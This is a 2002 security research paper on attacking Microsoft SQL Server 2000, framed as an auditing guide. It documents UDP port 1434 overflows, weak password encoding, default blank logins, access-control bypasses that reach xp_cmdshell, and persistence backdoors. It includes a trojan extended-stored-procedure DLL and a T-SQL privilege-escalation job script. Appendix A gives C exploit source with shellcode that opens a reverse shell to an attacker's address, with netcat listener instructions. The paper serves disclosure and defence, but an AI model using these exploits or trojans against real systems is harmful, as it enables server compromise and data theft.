A NGSSoftware Insight Security Research Publication

Threat Profiling Microsoft SQL Server

(A Guide to Security Auditing)

David Litchfield
(david@ngssoftware.com)
20th July 2002
www.ngssoftware.com

Introduction

This paper is written from the perspective of an attacker and shows typical "cursi incursi" for Microsoft SQL Server.

Considerations for Attack

An attacker's location in the application space and/or the network will largely define how they would approach breaking into a SQL Server 2000 machine from a remote location. If their attacks go through SQL Injection via a web server then their 'cursus incursi' will be considerably different from those when direct access can be gained to the SQL Server. Consequently, this paper will be split into four main sections. The first section will cover attacks that do not require the attacker to have a user ID and password for the SQL Server, that is, the attacks are unauthenticated. The second section will cover those attacks that do require authentication; to succeed the user must be logged onto the SQL Server. The third section will consider those attacks that can be launched from a compromised server. The final and fourth section will touch briefly upon attacks via the web using SQL Injection.

The Attacker's Toolkit

Before any job is undertaken, be it grouting the shower or paving a patio, a lot of unnecessary grief can be avoided by getting the right tools before hand and attacking a computer system is no different. As far as compromising a Microsoft SQL Server is concerned the 'tools of the trade' are a combination of the SQL Server client tools, such as Query Analyzer, SQLPing and a C compiler. One of the most important tools is a copy of MS SQL Server itself. It's far better to examine vulnerability and code an exploit for it on a system in the lab, rather than experimenting on the live target system. Whilst SQL Server is generally good at handling exceptions and remains up, there are some areas where an access violation will bring the server down and this generally is not a good thing. Further, for every exception raised and caught an entry is added to the Application Event Log, again something that should be avoided where possible. If the attacker is intent upon breaking into the SQL Server, and it's fully patched, then they may need to discover their own new vulnerability. Having access to the server software, in this scenario, is an absolute must. A good decompiler such as Datarescue's IDA Pro will help enormously too, where stress testing turns up nothing and one must turn to reverse engineering. Finally, a network capture tool (sniffer) such as NGSSniff or Ethereal is enormously handy on occasion, too. The author's SQL Server toolkit comprises of

MS SQL Server 2000, Developer Edition
MS SQL Client tools such as Query Analyzer and odbcping.
NGSSQuirreL
NGSSQLCrack
NGSSniff
Microsoft's Visual C++

NGSSQuirreL is an auditing tool for Microsoft SQL Server that not only finds security holes in the SQL Server but can also fix them. NGSSQLCrack does exactly what it sounds like it does - cracks the passwords of standard SQL logins and NGSSniff is a network traffic capture/analysis tool. Further to these, there are the author's own tools - with a compiler there is absolute freedom. Some of these will be discussed throughout various sections of this paper.

Data or Host?

One question an attacker needs to ask themselves, before embarking upon an attempted compromise, is are they after the data or the host? A typical exploit for SQL Server, by exploiting a buffer overrun for example, may be to generate a remote or reverse shell, but, whilst this will give an attacker access to the host it does not directly give them easy access to the data stored in the database, even if the shell is running in the security context of the local SYSTEM account. To get access to the data the attacker would need to obtain the actual database mdf files, themselves or employ some other mechanism. If it were access to the data that is actually the aim of the attack, then the attacker would be best served by leveling a runtime patching exploit at the host. Essentially this kind of exploit would go through a series of calls such as VirtualProtect(), to mark code segments of virtual memory as writable, and modifying 3 bytes used as a reference to determine the level of access or authorization. By setting these 3 bytes appropriately it is possible to make every login equivalent to 'sa' so that even low privileged logins have the ability to select, insert or update data they would not normally have access to. Depending upon what the attacker wishes to achieve should determine their approach to an attack.

Attacks that do no require authentication

SQL Monitor port attacks
According to the assigned ports list UDP port 1434 is the Microsoft SQL Monitor port and it first came to the security community's attention when Chip Andrews of SQLSecurity.com released a nifty little utility called SQLPing. SQLPing sends a single byte UDP packet to 1434 on the given host, though it will also work against the whole broadcast subnet. The packet's byte has a value of 0x02. SQL Server will reply back to the requestor with possibly sensitive information such as the server's hostname, version and what net libraries and ports the server is listening upon:

```
ServerName:SERVER_NAME
InstanceName:MSSQLSERVER
IsClustered:No
Version:8.00.194
np:\\SERVER_NAME\pipe\sql\query
via:SERVER_NAME,0:1433
```

That said, there are some points to note, here. First off, the version number is incorrect. For example if Service Pack 2 has been applied, running the "select @@version" query returns a version number of 8.00.608 - not 8.00.194. Further, if the server has been "hidden", by selecting the "hide" option for the TCP network library in Server Network Utility, then SQL Server will listen on TCP port 2433. However, SQLPing still reports the server as listening on 1433. This is what Microsoft means by "hiding" the SQL Server.

SQLPing caused a brief blip on the scanning horizon when it first came out - but scanning activity stopped as quickly as it had come. Sort of like the calm before the storm.

So what else does SQL Server do when it receives a packet on 1434 and its value isn't 0x02? SQLPing had made the author curious so dutifully he wrote a small Winsock app that spewed the values from 0x00 to 0xFF at 1434. At 0x08 SQL Server was dead.

If we examine the bit of code that handles such UDP requests we can assume the equivalent C source code would look similar too this:

```
if(FIRST_BYTE > 9)
        {
                goto g9;
        }
else if (FIRST_BYTE == 9)
```

```
        {
                goto e9;
        }
else
        {
                FIRST_BYTE = FIRST_BYTE - 2;
                if(FIRST_BYTE > 6)
                        {
                                should never get here!!!!
                        }
                cmdptr = cmdptr + 4 * FIRST_BYTE;
                cmdptr();
        }
```

Of interest are the bytes 0x04, 0x08 and 0x0A. 0x04 leads to a stack based buffer overflow, 0x08 leads to a heap overflow and 0x0A leads to a network DoS.

\x04
When SQL Server receives a packet with the first byte set to 0x04 it takes what ever comes after the 0x04, plugs into a buffer and attempts to open a registry key using the buffer. Whilst preparing to open the registry key, however, it performs an unsafe string copy and we overflow the stack-based buffer overwriting the saved return address on the stack. This allows a complete system compromise without ever needing to authenticate. What exacerbates this problem is the fact that this is going over UDP so, firstly, its easy to spoof the IP address making it look like the attack came from somewhere else, or even, indeed from a host on the "inside" - this will get around a great deal of firewalls. Secondly if the attacker sets the UDP source port to 53, making it look like a response to a DNS query, then again this will bypass a large number of firewalls. It's important to ensure that your firewall rule set is set up such that all packets coming from the outside, but with an internal address are dropped and further - do not, do not allow any packet destined for port 1434 to your SQL Servers - no matter what the source port is. The SQL Books Online state that 1434 must be open on the firewall - but this is simply not true. I've never had any problems when it's blocked - Query Analyzer, Enterprise Manager and IIS all cope fine. For more on this buffer overflow and for demonstration code please see Appendix A.

\x08
By sending a single byte (0x08) UDP packet to 1434 it's possible to kill the SQL Server. What starts as a simple DoS however turns into a heap overflow when you attempt to work out what's going on. When the server dies it has just called strtok(). The strtok() function looks for a given token (character) in a string and returns a pointer to the token if one is found. If the token is not found then a NULL pointer is returned. SQL Server, when it calls strtok() is looking for a colon (:) but as there isn't one then strtok() returns NULL but whoever coded this part of the server didn't check to see if the function had succeeded or not. They pass the pointer to atoi() but, as it's NULL, SQL crashes - the exception isn't handled.

If a two byte packet, \x08\x3A - the 0x3A is a colon, is sent strtok() succeeds and a pointer is returned but SQL still crashes. This time in the call to atoi(). atoi() takes a string, and provided the first part of that string is a number then it returns the integer representation of the string. For example \x31\x32 goes to 12. But as there is nothing after the colon atoi crashes - another failure to check if things have worked out okay.

So, next, we send a 3-byte packet: \x08\x3A\x31 - and SQL survives. This looks too close to being a host:port kind of thing so we plug in an overly long string, tack on a :22 at the end and fire off the packet. This time there's a heap overflow - one that allows an attacker to gain complete control over the server. The same caveats about UDP and firewalls, of course, apply here too.

\x0A

No system compromise here but mildly amusing depending upon your point of view. When SQL Server receives a packet with a first byte of 0x0A it replies to the source with a single byte packet of 0x0A. I assume this must be some kind of heartbeat thing. Here's the problem though - if I spoof a packet and set the source IP address to that of one SQL Server and set the source port to 1434 then send this to a second SQL Server - the second will reply to the first, sending 0x0A to UDP port 1434. The first will reply back to the second, with its own 0x0A - again to port 1434. The second then replies..... well, you get the general idea. UDP, firewall, yada yada yada....

Pretty much every thing other first byte above does nothing. Those below, such as 0x06 and 0x03 either do nothing or reply back with the same information as a 0x02 packet.

The "hello" bug
Dave Aitel announced an "unauthenticated system compromise" in Microsoft SQL Server at Defcon in August 2002. For more information on this please see http://online.securityfocus.com/bid/5411.

Network Sniffing
When a user connects to an SQL Server and authenticates as an SQL login, as opposed to a Windows NT/2000 user, their login name and password are sent across the network wire in what is tantamount to clear text. The 'encryption' scheme used to hide the password is a simple bitwise XOR operation. The password is converted to a wide character format, or UNICODE, and each byte XOR'd with a constant fixed value of 0xA5. Of course, this is easy to work out because every second byte of the 'encrypted' password on the wire 0xA5 and we know that the password is in UNICODE with every second byte being a NULL and when any number is XOR'd with 0 (or NULL) the result is the same: 0x41 xor 0x00 = 0x41, 0xA5 xor 0x00 = 0xA5.

This means that, provided one can run a network sniffer between the client and the SQL Server, it is a trivial task to capture someone's authentication details and unXOR it to get the original password back out. Once this has been done then of course access to the SQL Server can be gained. This is perhaps one of the reasons why Microsoft recommend using Windows NT/2000 based authentication as opposed to SQL logins; the latter is extremely weak.

Brute force attacks
Traditionally, SQL Server is famous for the most powerful login on the system, the 'sa' login, having no password. A recent worm, spida, showed just how prevalent this practice still is. The worm may have changed this somewhat, however. That said, the attacker would do well to check if they could login as 'sa' without a password. When SQL Server 2000 is installed, the person installing it, must go slightly out of their way to actually allow no password on the 'sa' login, but nonetheless it is still often done. The reasons behind this being along the lines of "it's how we had SQL 6 or 7 setup...." and "our applications might break if it isn't blank". Microsoft would better serve their customers in the long run if they simply refused to allow the 'sa' login to have no password.

Older versions of SQL Server such as 6 and 6.5 installed a login called 'probe'. This, too, came with a blank password and is still worth trying, especially on those systems that were upgraded from an older SQL Server version, or where SQL Server 2000 machines co-exist in an environment with SQL Server 6/6.5.

Another account commonly found on an SQL Server is the 'distributor_admin' login. Whilst this is given a password by default, the password being a call to CreateGuid(), many database administrators will remove the password or change it to something easy to guess.

When all else fails it may be worth an attempt to brute force the accounts if they have been assigned a password.

Files

Files that often contains SQL users and passwords

If one can get access to the file system of a box that communicates with an SQL Server or the SQL Server itself then there are several files that may be worth examining for credential details that will give access to the SQL Server. In the case of web servers, it may be worth examining the source code of Active Server Pages or application wide files such as application.cfm or global.asa. Performing a search for files with a .dsn file extension may prove fruitful, too. In terms of the SQL Server itself two files, sqlsp.log and setup.iss, two temporary files left after installing or upgrading SQL Server can often yield password.

Trojaning Extended Stored Procedures

After installing SQL Server, often the NTFS permissions on the image files (dlls and exes) are weak allowing everybody to replace them. Once the SQL Server is running it's not easy to replace a DLL that has already been loaded into memory with a trojaned version. However, the extended stored procedure DLLs, those that start with xp* are only loaded when and if the extended stored procedure is executed and so it may be possible to replace one of these. Choose an extended stored procedure that 'public' may access such as xp_showcolv. The C source for the extended stored procedure

```
// Very simple Extended Stored Procedure trojan
// Compile:
// C:\> cl /LD xprepl.c /link odbc32.lib
// David Litchfield
// david@ngssoftware.com

#include <stdio.h>
#include <srv.h>

__declspec(dllexport)ULONG __GetXpVersion()
        {
                return 1;
        }


__declspec(dllexport)SRVRETCODE xp_showcolv(SRV_PROC* pSrvProc)
        {
                system("mycommand");
                return (1);
        }
```

This will suffice. Note that this code exports two functions. One the stored procedure and two GetXpVersion. SQL Server uses the latter when it loads the library and is required. The code inside of xp_showcolv simply calls the system() function to run a command. Of course if one was trying to gain access the SQL Server's data then as the DLL is loaded into the same address space as the server itself and therefore runs in the same security context then the attacker can do pretty much what they wish. Once xp_showcolv has been run the command will have executed.

Client attacks

In the same way that SQL Server is vulnerable to a buffer overflow issue in the SQL Monitor port, so too is the SQL Server Enterprise Manager, a Microsoft Management Console snapin for SQL administration. By coding a UDP server that listens on port 1434 that sends out an overly long host name when a request is made to it by the act of MMC polling the network for local SQL Servers, a saved return address is overwritten on the stack, and, on procedure return, the attacker can gain control of MMC's path of execution and run arbitrary code in the context of the user running the Enterprise Manager. It must be assumed that the person running Enterprise

Manager has permissions to access the SQL Server and so an indirect attack can be launched against the server using this person's credentials. This is an area of attack that should be studied further.

Attacks that require authentication

Needless to say the number of vulnerabilities at the attacker's disposal that can be exploited rises considerably when authenticated access can be gained. The reason for this is quite simple - more functionality is exposed when someone is logged in. SQL Server is great because it exposes a great deal of functionality and this is good for the administrator bringing them a few steps closer to zero-administration but, as most in security know, the more complex and the more functional an application becomes the more likely it is that holes will begin to appear in greater and greater numbers. Often developers dumb down, weaken or remove security mechanisms just to get often disparate and complex components communicating with each other so the whole software package will be working before their deadline is due. So it is of SQL Server - highly functional but highly holey.

Navigating the Database Server
The main database on SQL Server that controls configuration and system information is the master database. This is where users are defined, other databases are listed, and just about pretty much every thing else.

To return a list of users one can run the query

```
select name from syslogins
```

syslogins is actually a view in SQL Server 2000 that feeds from the real user table, sysxlogins. By specifying just syslogins, here, however supports backwards compatibility, as older versions of SQL don't have the sysxlogins table. Provided one has the permissions (or they can trick the server into giving up the information using steps detailed in this paper) one can select the password hashes, too.

```
select name, password from sysxlogins
```

(N.B. On SQL 2000 we need to use sysxlogins as syslogins won't return anything in the password column.) This will return the password hashes and these can be brute forced. See the section on **Password Cracking** further on for more details.

To get a list of databases on the server run the query

```
select name from sysdatabases
```

Once a suitable database has been selected one can mine information about it in the sysobjects table. Each database has one and it catalogs each object in that database.

Sysobjects and syscolumns are your friend
Someone who is interested in SQL Server should get to know the sysobjects table well. It contains information about the tables, stored procedures, functions etc.

To list user defined tables one would request

```
select name,id from sysobjects where type = 'U'
```

and to list columns in that table one could request

```
select name from syscolumns where id = OBJECT_ID('table_name')
```

Sysobjects provides pointers to getting information from the database.

Using simple logic and the 'LIKE' operator one can find the interesting tables and columns in short time.

Snooping around the tempdb
SQL users will often create a temporary stored procedure to run a batch of tasks and these can often contains sensitive information. By default any user can get to the text of these stored procedures by running the query

```
select text from tempdb.dbo.syscomments
```

Buffer Overflows

SQL Server is infamous for the number of buffer overflow vulnerabilities it has had in the past. Even today, new overflows are being discovered almost on a fortnightly basis. We have already discussed the unauthenticated SQL Monitor buffer overflows on UDP but now we will examine those that do require authentication. Some may ask, "Why?" in the light of the Monitor overflows and the reason is that sometimes UDP port 1434 may not be accessible. Consider the situation where an attacker can run arbitrary SQL via web form injection but a firewall prevents direct access to the SQL Server. In such cases authenticated overflows are important. Many overflows have been discovered in extended stored procedures and various functions. This section will cover these overflows.

Extended Stored Procedures
These extended stored procedures have been noted to have buffer overflow issues in SQL 2000.

xp_controlqueueservice
xp_createprivatequeue
xp_createqueue
xp_decodequeuecmd
xp_deleteprivatequeue
xp_deletequeue
xp_displayqueuemesgs
xp_dsninfo
xp_mergelineages
xp_oledbinfo
xp_proxiedmetadata
xp_readpkfromqueue
xp_readpkfromvarbin
xp_repl_encrypt
xp_resetqueue
xp_sqlinventory
xp_unpackcab
xp_sprintf
xp_displayparamstmt
xp_enumresultset
xp_showcolv

```
xp_updatecolvbm
```

Please see appendix B for a Transact-SQL exploit proof of concept.

Functions

Three functions, OpenDataSource(), OpenRowSet() and pwdencrypt() are known to have buffer overflow vulnerabilities. Please see appendix C for a Transact-SQL exploit proof of concept for the pwdencrypt() overflow.

Although 'bulk insert' is vulnerable to overflow, typically only sysadmin logins may use its functionality.

Runtime Patching

By exploiting a buffer overflow vulnerability one may choose to 'upgrade' their level of access in terms of database authorization. By modifying three bytes in memory one can effectively set the user id equivalent to a sysadmin. Essentially before access is give to a database object the SQL Server code checks to see if the user's id is equal to 1. UID 1 maps to a built in user dbo or database owner and the dbo can do anything. So by changing the code in memory, after calling VirtualProtect() to make the code segment writable one can effectively make every database user a sysadmin. Of course, next time the server is stopped and restarted this situation will revert. For a more detailed discussion of this please read http://www.nextgenss.com/papers/violating_database_security.pdf,

Reading the file system

Providing access can be gained to it xp_readerrorlog can allow the user to read files off of the file system:

```
exec master..xp_readerrorlog 1,N'c:\boot.ini'
```

The files need not be text based either. xp_readerrorlog can read binary files, too.

Reading the Registry

Two extended stored procedures allow 'public' to read from the Registry.

```
        EXEC xp_regread 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLPath'
```

and

```
        EXEC xp_instance_regread 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLPath'
```

These can be useful for gathering information about the host.

Password cracking

In SQL Server 2000 an SQL login user's password, or rather a one-way hash of it, is stored in the sysxlogins table in the master database. SQL Server uses the pwdencrypt() function to hash passwords. pwdencrypt() is an internal function and, when called, operates in the following fashion. The code calls the C time() function that returns the system time as a dword that is then passed as a seed to srand(). srand() uses the seed to create a start point from which calls to the rand() function can use. rand() is called twice and the two dwords returned are converted to shorts and concatenated. This is then used as a salt to hash the user's Unicode password using the Secure Hashing Algorithm or SHA. SQL Server lets itself down however as both a case-sensitive password hash is created as well as an uppercased version. If one can get at the hashes then a brute force attack is made much simpler by going after the uppercased hash - there is considerably less key space to go through. For an in-depth look at SQL Server 2000 password hashes and password strength auditing please read the following paper http://www.nextgenss.com/papers/cracking-sql-passwords.pdf.

Bypassing access control mechanisms.

On older and unpatched versions of SQL Server there are several ways to bypass access control mechanisms. Only sysadmins should be able to access the extended stored procedure xp_cmdshell. xp_cmdshell allows the user to run an operating system command through SQL Server. A normal non-sysadmin should not be able to access this extended stored procedure so we'll use this as the example.

Temporary Stored Procedures

There was a time when SQL Server performed no permission checking on temporary stored procedures. The reason for this being that temporary stored procedures should only be accessible to the user that created it so of course that user should have the permission to access it. This doesn't take into account however the fact that the temporary stored procedure may be accessing something the user doesn't have access to:

```
create proc #mycmd as
        exec master..xp_cmdshell 'dir > c:\temp-stored-proc-results.txt'
```

Microsoft made published a patch for this issue. Please see http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-048.asp for more details.

OpenRowSet and adhoc queries

OpenRowSet allows a user to connect to any SQL Server and run a query against it without have defined the server as a linked server. This is known as an adhoc query. As it is the SQL server that actually performs the sub query it is possible to force it to log into itself without providing credentials:

```
select * from openrowset ('SQLOLEDB','trusted_connection=yes;data
source=LOCAL_SERVER_NAME;', 'set fmtonly off exec master..xp_cmdshell ''dir > c:\adhoc-
query-results.txt''')
```

For more information about the fix for this please see http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms00-014.asp.

More recently SQL Server has been found to suffer from new access control bypassing vulnerabilities. As of the time of writing there are no patches but workarounds are suggested.

Windows Authentication and Extendend Stored Procedures

There are three (know to the author) extended stored procedures that can be abused by a Windows authenticated user to bypass access control:

xp_execresultset
xp_printstatements
xp_displayparamstmt

These three procedures, exported by xprepl.dll will allow an user to run an abritrary query. However, what opens them up to abuse is that when the query is run it is done through a reconnection to the server. In this way SQL Server will log onto itself and run the query with its privileges. An example would be

```
exec xp_displayparamstmt N'exec master..xp_cmdshell ''dir > c:\esp-results.txt''',N'master',1
```

Note that this will only work if the user has been authenticated via Windows; it will not work if the user is an SQL login. To protect against this one should prevent 'public' access to these extended stored procedures.

Running queries through an SQL Agent job

SQL Logins can still abuse extended stored procedures but they must do so by submitting a job to the SQL Agent. The 'Public' role is allowed to create and submit jobs to be executed by the SQL Agent. To do this one would use a combination of several stored procedures in the msdb database such as sp_add_job and sp_add_job_step, etc. As the SQL Agent is considerably more privileged than a simple login, often running in the security context of the local system account, it must ensure that, when a T-SQL job is submitted to it, it can't be abused. To defend against this is performs a

```
SETUSER N'guest' WITH NORESET
```

This effectively drops its high level of privileges so no low privileged login can submit something like

```
exec master..xp_cmdshell 'dir'
```

However, this can be trivially bypassed by causing the SQL Agent to reconnect after it's dropped its privileges. They can use one of the vulnerable extended stored procedures just mentioned such as xp_execresultset to do this:

```
-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell ''dir > c:\agent-job-results.txt'''''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
```

```
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
```

Whilst removing permission to access the vulnerable stored procedures from 'public' , a normal user should still not be able to submit jobs to the SQL Agent. This ability opens up a whole new can of worms. For example, a normal user can create or overwrite abritrary files with arbitrary contents by submitting an '@output_file_name' to 'sp_add_jobstep'. They could drop a batch file in the Administrator's startup folder or something equally nefarious. It is suggested that 'public' not be allowed to submit jobs to the agent - remove 'public's permissions to sp_add_job, sp_add_jobstep, etc, etc.

Backdoors

Once an SQL Server has been compromised there are many things an attacker may do to ensure continued access.

Startup Procedures

Stored procedures that do not require arguments can be configured to run when the SQL server is restarted. If replication is configured, for example, the sp_MSRepl_startup procedure will be run automatically. Such procedures run in the security context of the SQL Server process - and as such they have full control over the database server. An attacker may create a procedure, set it up a startup procedure, which creates a login and then adds that login to the dbo role. Startup procedures should be examined carefully for such actions.

Commonly run procedures

Procedures such as sp_help will be typical targets for trojans as they are run on a fairly regular basis. Sp_password may also be used to write off everybody's new passwords to a table.

Administrator XSTATUS

When SQL Server is installed the Windows NT Group, 'BUILTIN\Administrators' is added to the sysusers table and is added to the dbo role. Under the sysxlogins table their xstatus is set to 22. This entry defines what kind of login it is. By changing the xstatus to 18 an attacker can log on the SQL Server using a standard SQL login name of 'BUILTIN\Administrators' and no password; local administrators can still log on at the same time. This is true of all Windows based logins and needless to say the xstatus of each NT login should be examined.

Resources

http://www.ngssoftware.com/software/ngssquirrel.html
http://www.ngssoftware.com/research.html
http://www.sqlsecurity.com/
http://online.securityfocus.com/cgi-bin/sfonline/vulns.pl?vendor=Microsoft&title=SQL+Server&section=vendor&version=Any&which=NULL
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/current.asp?productid=30&servicepackid=0
http://www.hackerthreads.org/downloads/sql.php?&key=sqltl

Appendix A

This source code is an exploit that will compromise the SQL Server and spawn a remote shell to a system of your choosing. I've written it to be operating system service pack independent and, as far as possible, SQL Server service pack independent. Unfortunately, sqlsort.dll, the best choice available for this, changes ever so slightly between an SQL Server with no service pack and an SQL Server running SP 1 or 2. The import address entry for GetProcAddress() in sqlsort.dll shifts by 12. With no SQL Server service pack the address of the entry is at 0x42AE1010 and on SP1 and SP2 at 0x42AE101C. Before we get a chance to exploit the overflow, the process attempts to write to an address pointed to by a register we own, so we need to supply a writeable address. We use a location in the .data section of sqlsort.dll. At 0x42B0C9DC, again in sqlsort.dll, there is a 'jmp esp' instruction. We overwrite the saved return address with this. Traditional Windows shellcode uses pipes to communicate to shell and the process - using the pipes as standard in, out and error. This unnecessarily bloats Windows shell code exploits. This code uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess() as the handle for standard in, out and error. By doing this the code becomes considerably leaner and small. Once the shell has been created it then connects out to a given IP address and port.

```
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned int addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
```

```
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
"\x58";


int main(int argc, char *argv[])
{
        unsigned int ErrorLevel=0,len=0,c =0;
        int count = 0;
        char sc[300]="";
        char ipaddress[40]="";
        unsigned short port = 0;
        unsigned int ip = 0;
        char *ipt="";
        char buffer[400]="";
        unsigned short prt=0;
        char *prtt="";


        if(argc != 2 && argc != 5)
                {
                        printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit
Code");
                        printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port
sp",argv[0]);
                        printf("\n\n\tYou need to set nectat listening on a port");
                        printf("\n\tthat you want the reverse shell to connect to");
                        printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
                        printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53
0",argv[0]);
                        printf("\n\n\tAssuming, of course, your IP address is 199.199.199.199\n");
                        printf("\n\tWe set the source UDP port to 53 so this should go through");
                        printf("\n\tmost firewalls - looks like a reply to a DNS query. Change");
                        printf("\n\tthe source code if you want to modify this.");
                        printf("\n\n\tThe SP Level is the SQL Server Service Pack:");
                        printf("\n\tWith no service pack the import address entry for");
                        printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
                        printf("\n\tchange one byte of the exploit code to reflect this.");
                        printf("\n\n\n\tDavid Litchfield\n\tdavid@ngssoftware.com\n\t22nd May
2002\n\n\n\n");
                        return 0;
                }

        strncpy(host,argv[1],250);
        if(argc == 5)
                {
                        strncpy(ipaddress,argv[2],36);

                        port = atoi(argv[3]);
                        // SQL Server 2000 Service pack level
                        // The import entry for GetProcAddress in sqlsort.dll
                        // is at  0x42ae1010 but on SP 1 and 2 is at  0x42ae101C
                        // Need to set the last byte accordingly
                        if(argv[4][0] == 0x30)
                            {
                                printf("Service Pack 0. Import address entry for
GetProcAddress @ 0x42ae1010\n");
                                exploit_code[9]=0x10;
                            }
                        else
                            {
                                printf("Service Pack 1 or 2. Import address entry for
GetProcAddress @ 0x42ae101C\n");
                            }

                }

        ErrorLevel = StartWinsock();
        if(ErrorLevel==0)
                {
                        printf("Error starting Winsock.\n");
                        return 0;
                }
        if(argc == 2)
                {
                        strcpy(request,ping);

                        GainControlOfSQL();
                        return 0;
                }


        strcpy(buffer,exploit_code);

        // set this IP address to connect back to
        // this should be your address
        ip = inet_addr(ipaddress);
        ipt = (char*)&ip;
        buffer[142]=ipt[0];
        buffer[143]=ipt[1];
        buffer[144]=ipt[2];
        buffer[145]=ipt[3];

        // set the TCP port to connect on
        // netcat should be listening on this port
        // e.g. nc -l -p 80

        prt = htons(port);
        prt = prt ^ 0xFFFF;
        prtt = (char *) &prt;
        buffer[160]=prtt[0];
```

```
	buffer[161]=prtt[1];



	strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM
MNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

	// Overwrite the saved return address on the stack
	// This address contains a jmp esp instruction
	// and is in sqlsort.dll.

	strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

	// Need to do a near jump
	strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

	// Need to set an address which is writable or
	// sql server will crash before we can exploit
	// the overrun. Rather than choosing an address
	// on the stack which could be anywhere we'll
	// use an address in the .data segment of sqlsort.dll
	// as we're already using sqlsort for the saved
	// return address

	// SQL 2000 no service packs needs the address here
	strcat(request,"\x01\x70\xAE\x42");

	// SQL 2000 Service Pack 2 needs the address here
	strcat(request,"\x01\x70\xAE\x42");

	// just a few nops
	strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");


	// tack on exploit code to the end of our request
	// and fire it off
	strcat(request,buffer);

	GainControlOfSQL();

	return 0;

}


int StartWinsock()
{
	int err=0;
	WORD wVersionRequested;
	WSADATA wsaData;

	wVersionRequested = MAKEWORD( 2, 0 );
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 )
		{
			return 0;
```

```
                }
        if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
                {
                    WSACleanup( );
                    return 0;
                }

        if (isalpha(host[0]))
                {
                        he = gethostbyname(host);
                }
        else
                {
                        addr = inet_addr(host);
                        he = gethostbyaddr((char *)&addr,4,AF_INET);
                }

        if (he == NULL)
                {
                        return 0;
                }

        s_sa.sin_addr.s_addr=INADDR_ANY;
